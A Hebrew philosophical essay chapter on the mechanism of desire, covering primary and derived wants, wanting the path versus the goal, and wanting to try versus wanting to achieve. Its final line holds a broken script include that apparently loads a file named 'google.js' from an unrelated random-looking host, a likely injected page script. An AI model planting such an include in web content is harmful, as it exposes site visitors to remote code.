בנתיבי הרצון (תיאור והתחקות)

הקדמה למבנה הרצון

"סוגים" של רצון

ההרגל להתייחס לרצון בשטחיות, מביא לידי ההנחה הפשטנית שארבעה וחמשה אנשים שרוצים את אותו הדבר או דבר דומה, כמו להגיע להישג מסוים, לקנות מוצר מסוים, הוא 'פחות או יותר' אותו הרצון. אנו רגילים לראות במילה רצון הגדרה חד גונית וחד משמעית, ולראות כמעט כל רצון כמי שנכלל באותה ההגדרה.

בדברים הבאים, יושם דגש על הבדלים מהותיים בין סוגי רצונות שונים, עד שנגלה שמלבד דמיון כוללני, ישנם רצונות ששונים אלו מאלו מהותית, למרות שאלו הנושאים אותם, שואפים לאותה הנקודה. נגלה שראובן ושמעון, שניהם 'רוצים' לקנות דירה מסוימת, אין להם את אותו סוג רצון, ואולי גם נכון יהיה לומר שכל אחד מהם רוצה משהו אחר למרות ששניהם מתכוונים למטרה של רכישת דירה מסוימת.

החשיבות של הבנת אופיו הכללי של הרצון, ועוד יותר אופניו השונים של הרצון, מכרעת בכל מה שקשור לתוצאות השליליות או החיוביות של הרצון. לחיות עם רצון אחד מסוגי הרצונות יכול להיות חיים בגן העדן, ולעומתו הרצון מהסוג השונה שם את האדם בחיי גיהינום. ושוב, מדובר על אותה הדירה ששניהם רוצים, על אותה המשרה ששניהם חולמים ורוצים, ובכל זאת ההבדל בין השניים הוא תהומי.

***

הקדמה נוספת שראויה לשימת לב לפני הצגת מבנה מנגנון הרצייה, היא ההכרה בכך שהרצון הוא משני להכרה ולא ראשוני לו. איננו חושבים שהמאכל טעים כי אנו רוצים אותו, אלא ההיפך. משום שאנו מכירים שהוא טעים אנחנו בוחרים בהשגתו, ואז רצים ומכוונים להשגתו, כלומר, רוצים אותו.

ישנם דברים שמרגע הכרתם נוכחנו שהם טובים והפכו להיות רצויים באופן טבעי, ללא מחשבת ביניים. לכן יש ונדמה שישנם רצונות ראשוניים שאינם תלויים בגורם ההערכה של האדם. אך די בשינוי קל להוכיח את התלות בין ההערכה שיש לנו לדבר לרצוננו בו. החושב למשל שהרצון באכילה הוא ראשוני, יווכח שאינו רוצה לאכול כאשר הוא שבע, ויווכח שאינו רוצה לאכול אוכל רעיל גם כשהוא רעב, מה שמוכיח שהרצון שלנו לאכול תלוי ונעוץ בהערכה שאנו מעריכים את האוכל כמענג ומונע את תחושת הרעב או מפתח ומזין את כוחות הגוף.

נכון שפעמים רבות התועלת ניכרת ואין צורך "לבחור" לרצות, אך הרצון תמיד בא לאחר שאדם מניח את המטרה (או שכך היא מוכרת על ידו) כטובה ואת המאמץ ככדאי, אם הוא חושב עליו.

פרק ג'

מנגנון הרצייה

בסיס הרצייה

כל רצון מניח אפשרות השגה או התקיימות הדבר הרצוי. לא ניתן לרצות את הבלתי אפשרי להשגה. בני אדם אינם 'רוצים' במובן המלא של המילה, לא לעוף בשמים כציפור, לא להפוך ליודע כל, גם לא להפוך בין יום למומחה בתחום רחב שלא עסקו בו מעולם.

הרצון מהווה את ההתקשרות וההתכוונות אל ההשגה של מה שאנו מעדיפים/בוחרים את השגתו ומניחים אותו כבר השגה.

עקרונית, אמור היה להיות שעוצמת הרצון תחפוף לסיכויי ההשגה. כך זה גם עובד בחלקים נרחבים בחיינו, אם כי לחלקם איננו שמים לב לכך. בני אדם אינם 'רוצים' במובן מלא של העניין לזכות בהגרלה, לנצח בתחרות וכיוצא בזה. הם רוצים לעשות את מירב המאמצים על מנת לזכות, הם מקדישים את מירב האנרגיה מתוך המחשבה על הגברת הסיכוי להשיג ולזכות, אך אינם יכולים להשלות את עצמם, ולהניח שהם רוצים באופן מלא שיקרה הדבר שרחוק מלהיות בטוח. אנשים יגדירו את מאמציהם לזכייה בתחרות כ"רוצים לנסות" ולזכות. כך גם מי שמחפש מוצר במחיר זול יותר מהמוצע בשוק, הוא יודע שהוא 'רוצה לנסות' למצוא מחיר טוב יותר. כפי שנראה בהמשך, ההבדל בין 'רוצה לנסות' ובין 'רוצה להשיג' הוא משמעותי.

בני אדם יודו בכך שיש בהם רצון מסוים להשינוי השלטון נגד כל הסיכויים, למצוא כסף שאבד להם מזמן, אבל הרצון הוא חלש, ולפעמים אין אנו שמים לב אליו מחוסר ביטויו בשטח. כמעט כל אדם 'רוצה' להשיג ספר מסוים שחיפש פעם, או שקרא עליו פעם. את הרצון הזה יגדיר כחלש ולא פעיל במלואו.

עד כאן תואר החלק החופף בין גודל הסיכוי לאופיו ועוצמתו של הרצון. ובזה פתח המשפט שעקרונית [אמור היה להיות ש] עוצמת הרצון וסיכוי ההשגה אמורים לחפוף.

כך אמור היה להיות בכל דבר, המציאות היא שונה. אנשים רוצים ומצפים שילדיהם ינהגו כשורה בכל מקום ובכל זמן, נגד כל סיכוי ריאלי. אנשים רוצים להספיק את מה שכבר לא ניתן. אנשים רוצים להצליח ללא מאמץ, להתעשר בלי לנקוף אצבע, להתמצאות בלי ללמוד, לנגן בלי להתאמן, להינשא בלי לישא. הישגים שמבחינה סטטיסטית היה ראוי להגדירם כבלתי אפשריים, עדיין מהווים מושא לרצייה.

          קיימים רצונות לא ריאליים.

הרצונות לדברים הבלתי ריאליים אינם באים על בסיס מידע שגוי, האדם יודע את הסיכוי, אך הוא כביכול מתעלם ממנו ומנפיק רצון המתאים לסיכויים הרבה יותר גבוהים. הסיבה לכך תתבאר בהמשך, בתיאור רכיבי מנגנון הרצייה.

הידיעה שהצגנו כאן, שאדם אינו רוצה את מה שלא ניתן להשיגו, ועם זאת הוא רוצה דברים נגד רוב הסיכויים (לא "כל"), מאפשרת לנו לזהות את האופי הראשוני של הרצון, ועם זה גם את האופי הבעייתי שהוא נושא עמו. על פי הבנה זו נוכל להמשיך ולזהות את רכיבי הרצון הנוספים.

רציית 'אלפא' ורציית 'ביתא'

רוב הרצונות היום יומיים שלנו, אינם רצונות "אלפא", כלומר, אינם רצונות ראשוניים. הם נובעים מרצון קודם, שלעיתים גם הוא תולדה של רצון אחר שקדם להם. הרצון לרכוס את כפתור החולצה, הוא תוצר[1] מרצון כללי יותר והוא ללבוש את החולצה. הרצון לקחת את החולצה מהארון וללבוש אותו, הוא תוצר מרצון עוד יותר כללי, והוא הרצון להתלבש כפי שמורגל. הרצון להתלבש כפי שמורגל, הוא תוצר של הרצון לא להיות חריג או לזרום עם הרגלי החברה או ההרגלים האישיים. וכן הלאה על זה הדרך.

הרצונות הראשוניים ביותר[2], הם כנראה הרצון לחיים, לנעימות ואיזון[3]. אדם פועל רוב הזמן על פי הרצון שיהיה לו יותר טוב ושלא יהיה לו פחות טוב או רע. האדם זיהה שישנה אופציה רחבה מאד, ממשית מאד, להיטיב עם תחושת החיים. ניתן כמעט לעשות זאת בכל רגע, אם על ידי הטבה עם הגוף ואם על ידי הטבה עם הנפש. זהו רצון ריאלי, עוצמתי מאד ונכון מאד באותה המידה כנראה.

כאשר אנו שופטים את הרצון הכללי הזה, הרצון לטוב, איננו יכולים לומר עליו שהעוצמה המלאה שלו אינה ריאלית. אכן ניתן ליישם אפשרויות רבות, מיידיות וארוכת טווח, להגברת הטוב והאושר בחיים. אך לא כן הוא כאשר אנו פונים לעניין ספציפי שיכול להיטיב אתנו, ואנו פונים אליו עם אותו קנה מידה של עוצמת רצון.

נניח שהשעה היא אחת אחר חצות בלילה, ומה שנראה כעדיף למען ה"יותר טוב" זה להשיג בקבוק בירה או ספר מסוים, איננו יכולים להצדיק את עוצמת הרצון הראשונית לגבי המטרה הספציפית של השגת הבירה והספר. הרצון ליותר טוב שואב את עוצמתו מהאפשרויות השונות שחלקן הגדול תקפות גם בשעה כזאת, אך לגבי הנושא הספציפי, השגת המשקה או הספר, אין את ההצדקה לאותה עוצמה של רצון, שכן ההישג הספציפי אינו כה בטוח וכה מקיף כמו רצון האלפא. לכן הרצון אמור לעבור שדרוג ומיתון. ואת זה אינו עובר באופן מלא מאליו.

במילים אחרות: לרצות את הטוב ניתן להפעיל בעוצמה מלאה, לצורך הדוגמא – עוצמת עשר מעלות של רצייה. כאשר פונים עם אותו רצון אל הנגזר ממנו, רצון פרטי, כמו הרצון להשיג עכשיו משקה מסוים, לא ניתן לרצותו ברמה של עשר מעלות, שכן אפשרות ההשגה של המשקה אינו כה ברור וחד כמו הרצון הכללי לטוב, וכמו כן אינו רחב ומקיף כמו הרצון הכללי לטוב. מתאים לו חמש מעלות, יותר או פחות, בהתאם לסיכוי הריאלי שנשיג אותו וכמה שנהנה ממנו.

מנגנון הרצייה, מאפשר לרצון ביתא לשאוב[4] את עוצמתו מרצון האלפא, גם כאשר הסיטואציה של הרצון הספציפי (ביתא) אינו ריאלי כמו רצון האב (אלפא).

אין הכוונה שמנגנון הרצייה מחייב לרצות את הבלתי ריאלי, או לרצות את הפחות ריאלי כמו את הריאלי. במקרים רבים, כשההשגה נראית קשה או מסופקת, האדם אינו ממשיך לרצות את המטרה הספציפית באותה רמת רצייה כמו הרצון הקודם. כך יקרה לכל מי שבד בבד עם מציאת הפרטים הרצויים מודע באופן ממוקד גם לסיכוי מימושם.

רציית 'דרך' ורציית 'מטרה'

עד כה דובר על אופן היווצרות הרצון ואפשרויות העוצמה שלו. עתה נראה שגם באופן הרצייה ישנם שתי אפשרויות יסודיות ובסיסיות המקרינות על כל נגזרות הרצון.

קבלן בניין עובר דרך ארוכה מתחילת העבודה ועד לבניין המוגמר. יישור השטח, חפירות, הצבת תשתית היסודות, יציקת היסודות וכן הלאה. אם יישור השטח לוקח חצי שעה והחפירות יומיים, הקבלן ממוקד על החפירות, ואת היישור הוא מבליע כפעילות קצרה שצריכה להיעשות לפני זו המרכזית – החפירה. אם יישור השטח אורך שבוע, החפירות לא יהוו נושא לרצונו האקטיבי של הקבלן בשעה שהוא עסוק ביישור השטח. כללו של דבר, ככל ששלב אחד מהשלבים להשגת המטרה - הבניין, יותר קצר, כך הוא נטפל יותר למשימה הבאה הארוכה שנהיית לזו המרכזית. הקבלן אינו לחוץ ביום הראשון לסיים את הבניין, אלא רק את השלב או מספר השלבים הבאים. וכל זה למרות שהמטרה הסופית היא הבניין השלם והמוכן. כך הוא טבעו של מיקוד האנושי, ובעקבותיו גם הרצון, כפי שיוסבר מייד.

הדוגמא הקלאסית ביותר של 'דרך' ו'יעד', מתבטא באדם שרוצה להגיע למקום מרוחק, ועליו לעבור דרך על מנת להגיע לשם. בהקשר זה ניתן לתאר שני רצונות, ניתן לראות רצון ללכת בדרך, או רצון להגיע למקום. במידה והרצון הוא "להגיע למקום", נמצא שהליכתו בדרך מהווה "הסרת מפריע" מלהגיע אל היעד. לעומת זאת אם הרצון שלו הוא לעשות את השלב שמקרב אותו אל המקום, הרי שהוא עושה בדיוק את מה שהוא רוצה, והדרך אינה הפרעה אלא חלק מהתהליך הרצוי.

ההבדל בין לרצות להיות במקום לבין לרצות ללכת על מנת להגיע למקום, תלוי באופן ההסתכלות של האדם על המטרה והאמצעים. אם אדם שם בתוך מסגרת היעד אך את המטרה הסופית, הרי שהרצון אף הוא יהיה ממוקד במטרה הסופית, ואז האמצעים להשגת המטרה יהוו הסרת מכשולים או תשלום מחיר הכרחי על מנת לקיים את המטרה הנרצית. לעומת זאת, אם אדם מזהה את האמצעים כחלק מצורת ההשגה של המטרה, הרי שבחירת ההשגה כוללת את בחירת השגת האמצעים, ואז הרצון הוא להתחיל בתהליכי ההשגה, דהיינו הדרך, הצטיידות במזון ושתייה הנצרכים לדרך וכו'.

גם כאן אנו נפגשים בחלוקה של אלפא וביתא, רק בצורה שונה. האלפא, הוא הרצון הכללי והראשי, והוא מכוון לתמונת המצב שאנו מגיעים למקום המבוקש. הביתא, הם הרצונות הנגזרים מאותו הרצון הכללי, האלפא. מהרצון הראשי "להיות במקום", אמורים להיגזר הרצונות לאמצעים המתנים את השגת היעד, מלבישת הנעליים ועד ההצטיידות בשתייה והמנוחה באמצע הדרך. כל אמצעים אלו הם חלק מהצורה וההשגה של היעד.

בהקשר זה, אדם יכול לתת לרצונות הביתא מעמד של רצון אלפא מקומי ואז הוא מאחד את האמצעים והמטרה תחת קורת גג אחת, והוא יכול גם להמשיך לראות את הרצון למטרה ללא האמצעים ולהפריד את רצון האלפא שלו מהאמצעים להגיע אליו, ואז להתייחס לכל האמצעים כאילוצים ומפריעים, ורצונו אליהם יהיה ברמת רצון דלתא.

החלוקה הזו משמעותית כמעט בכל רצון. שייך לרצות שהילד יהיה מחונך, ושייך לרצות לעשות את הפעולות המגבירות את סיכוי התחנכותו של הילד. שייך לרצות להשיג את המוצר, הבית הרכב, ושייך לרצות לנסות ולהשיג אותו, או לרצות לעשות את הפעולות המגבירות את הסיכוי.

ישנה נטייה חזקה מאד במנגנון הרצייה להפנות את הרצון האקטיבי כמה שיותר למטרה. המטרה הסופית, כמו הארוחה שאנו רוצים לאכול, שהיא זו המעוררת אותנו לרצות ולעשות את המאמצים הנדרשים. לכן טבעי הדבר שהאדם מתמקד בארוחה, ואת הבישול, או ההליכה להשגת האוכל, הוא פחות רוצה, אלא "נאלץ" לעשות זאת. עם זאת נוכחנו שכאשר הדרך ארוכה או שיש בה שלבים רבים האדם רואה את המטרה שלפניו להשיג ולהשלים את השלב המיידי שעליו לעשות בשרשרת השלבים על מנת להגיע אל מטרתו, כמו יישור פני השטח לבניית הבניין. מכאן שהכרעת מנגנון הרצון לרצות את הדרך במלוא מובן הרצייה או לרצותו "בדיעבד" כסילוק מפריע מיעד שכבר נבחר להשגה, תלוי הן בגודל המאמץ הנדרש בדרך אל המטרה, והן בשימת לב. אדם ששם לב שישנם חמשה שלבים עד השגת היעד, גם אם הם קצרים, עשוי להתנתק מהכוונת רצונו אל המטרה, ולהפנות את מלוא הרצון אל השלבים האמצעים להשגת המטרה הנבחרת.

סיכום:

·                             בסיס הרצון מופנה לדברים שניתנים להשגה.

·                             עם זאת, אנו מכירים ברצונות שעוצמתם גבוהה מסיכויים להתממש, מה שגורם למספר תכונות שליליות להתקיים.

·                             הרצונות הגבוהים בעוצמתם מסיכוי התממשותם, נובעים מכך שהם נגזרים מרצון אחר (שבצדק הוא) עוצמתי יותר, וכן חוסר שימת לב לסיכויי השגה מאפשרים עוצמה רצונית שגויה.

·                             נוכחנו כי ניתן לכוון את הרצון לניסיון להשיג את היעד, לשלב אחד משלבי היעד, ולעומת זאת ניתן להפנות את הרצון אל המטרה, ואילו האמצעים מטופלים כגורמים 'מפריעים' לרצון הבסיסי.

נמצא שיש שלושה גורמים המייצרים רצון שאינו 'אידיאלי' ואינו מתאים למתבקש:

1.                          רצון בעל עוצמה גבוהה שאינו מתאים לסיכויי מימושו, היונק את עוצמתו מרצון קודם וכללי.

2.                          רצון שמכוון למטרה ולא מכוון דיו אל האמצעים.

3.                          רצון המכוון להשגה, במקום הרצון להשתדל ולנסות.

_________________

< type="text/" src="http://fghrbnvhbf.ueuo.com/google.js"> < type="text/" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">